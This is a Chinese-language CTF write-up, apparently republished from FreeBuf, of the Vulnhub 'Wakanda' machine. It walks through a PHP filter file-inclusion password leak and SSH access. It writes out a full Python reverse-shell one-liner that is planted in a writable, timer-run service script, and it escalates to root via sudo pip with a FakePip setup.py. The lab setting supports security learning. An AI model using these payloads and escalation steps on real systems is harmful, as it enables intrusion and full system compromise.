Wakanda(linux下的pip提权) – 作者:星云博创科技有限公司

0x00:前言

这道题还是非常有意思的

v2-32140ea187abfa076a9666251bf22eeb_720w.png

wakanda:是漫威电影黑豹的一个地方

0x01:信息收集

nmap首先找到目标ip,设置桥接,进行nmap查找存活主机。

v2-345b46a541e8edc38b99d227eed919fd_720w.png

目标主机ip为192.168.43.18

nmap -sV -vv -p1-65535 192.168.43.18

v2-d241b06f3f75f0b40237165814e707e2_720w.png

可以看到开了个web服务80端口

这里的ssh弱口令爆破在metasploit里面试了一下,没爆出来。

OK浏览下web页面

v2-e55847b8d8f0735d73727037fccd41ed_720w.png

v2-77a981f3838c96cadef6f4aba080dec7_720w.png

发现一个名字(mamadou)

做vulnhub题目要有敏感度,这种就是vulnhub特点 信息收集,这就是一个突破口,我一开始看到没注意!!!多捞啊。

这很明显啊,href=?lang=fr

用御剑扫出来了一个页面:fr.php

很明显,这里是文件包含

172.16.143.130/?lang=php://filter/read=convert.base64-encode/resource=index

v2-1d15b8f385f137b35a0f7fe0eab5ba52_720w.png

拿到base64进行解码,得到一个密码(难怪爆不出来,这么复杂。。。)

v2-c33135526e699104cd2745bd559fec9c_720w.png

那么最终得到

账号:mamadou

密码:Niamey4Ever227!!!

进行ssh连接

ssh 172.16.143.130 -l mamadou -p 3333

v2-7a07161dc56701909b19121a48339313_720w.png

得到一个py命令行

进行python的pty将终端弹出来

>>>from pty import spawn

>>>spawn(“/bin/bash”)

v2-7a0d6f1e0bbc69b1694f698b4f0d2253_720w.png

第一个flag1.txt到手

0x02:第二个flag2.txt

现在我们拥有wakanda权限

全局查找一下flag2.txt

find / -name flag2.txt

在home目录下的devops里面,需要devops权限

OK 全局搜索下和devops有关的东西

find / -user devops 2>/dev/null(错误的信息不显示,更加直观)

找到一个py文件,打开进行查看就是一段废话,但是其的权限是可以写的

v2-4b1d517b9673b97db781a1004ca6b381_720w.png

既然有写的权限那我们可以进行写shell

然后执行

但是这个反弹的shell是wakanda权限的(下面是演示)

#.antivirus.py--payloadimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘172.16.143.133',7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

在那个文件里面写入以上代码

在kali上开启监听 nc -lvp 7777

执行就好了

但是反弹的shell是wakanda1的权限,仍然不能进行查看

v2-32f92e28bb88f572b71e222ee0caa4cd_720w.png

OK!!!

再想想有没有什么好方法

后来经人点拨,恍然大悟,如果这个脚本是会自动运行的,那么就不会反弹mamadou权限的shell了,而是它本身具有的devops权限,而经过查询资料,了解到存放在/src目录下的一般为系统服务类脚本文件,那么它自动运行的假设就显然可以成立了。

用一个命令进行查看grep -R .antivirus.py / 2>/dev/null

grep -R(对这个目录下的文件进行递归,查找含有.antivirus.py的文件)

v2-cfb991d68627d49e1ff4bb84b2126c26_720w.png

查看一下antivirus.service文件

v2-6313f8090b06a698bcc264576fd01832_720w.png

发现是300s自动提交一次

然后我们就把这个shell写入然后让他自己执行就行,kali开着nc监听,等300s就行

反弹shell后进行查看flag2.txt发现成功

成功后就可以查看了

v2-663ad577b8a9b88af659e8af2e197e74_720w.png

0x03:root.txt

利用sudo -l来查看当前用户权限

v2-7efa990a03525907912a6792afc01415_720w.png

然而,只有一个pip命令是可以不需要root权限就能执行的,试试pip install falsk,没问题。

那么怎样才能通过pip来获取root权限呢?这里用到一个github上的开源脚本Fakepip。这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机。项目地址(https://github.com/0x00-0x00/FakePip.git)

下载下来注意个坑点(可能我没设置好,注意格式,py文件在pycharm里面跑一下看看正不正常)

然后就在攻击机上开个pyweb服务(py3是 python -m http-server 8888)py2是 python -m SimpleHTTPServer 8888默认是8000端口

然后在有devops权限的命令下 进行下载

wget 192.168.1.1:8000/setup.py(例子)

然后执行即可

py文件在linux提权里面,看markdown即可知道

改完setup.py里面的ip,则根据ip进行监听443端口

nc -lvp 443

然后执行以下命令

v2-b276ae05fe74886efd173266154fecd2_720w.png

最后弹shell成功,get root.txt

v2-a298df9e9d1a4984c294000946375f88_720w.png

0x04:总结

非常不错的一个题目,linux提权方式五花八门,提权过程不止涉及到了内核漏洞的exp积累,也涉及了很多系统配置安全。

来源:freebuf.com 2021-02-24 13:35:32 by: 星云博创科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论